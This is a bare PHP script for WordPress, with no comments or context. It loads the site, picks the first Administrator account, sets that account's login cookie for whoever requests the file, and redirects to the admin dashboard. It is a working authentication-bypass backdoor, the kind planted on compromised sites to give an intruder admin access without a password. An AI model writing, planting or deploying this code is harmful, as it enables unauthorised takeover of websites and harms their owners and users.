<?php
$mr=$_SERVER['DOCUMENT_ROOT'];
@chdir($mr);
if (file_exists('wp-load.php')){
    include 'wp-load.php';
    $wp_user_query = new WP_User_Query( array( 'role' => 'Administrator', 'number' => 1, 'fields' => 'ID' ) );
    $results= $wp_user_query->get_results();

    if ( isset( $results[0] ) ) {
        wp_set_auth_cookie( $results[0] );
        wp_redirect( admin_url() );
        die();
    }
    die( 'NO ADMIN' );

}
else{
    die('Failed to load');
}

?>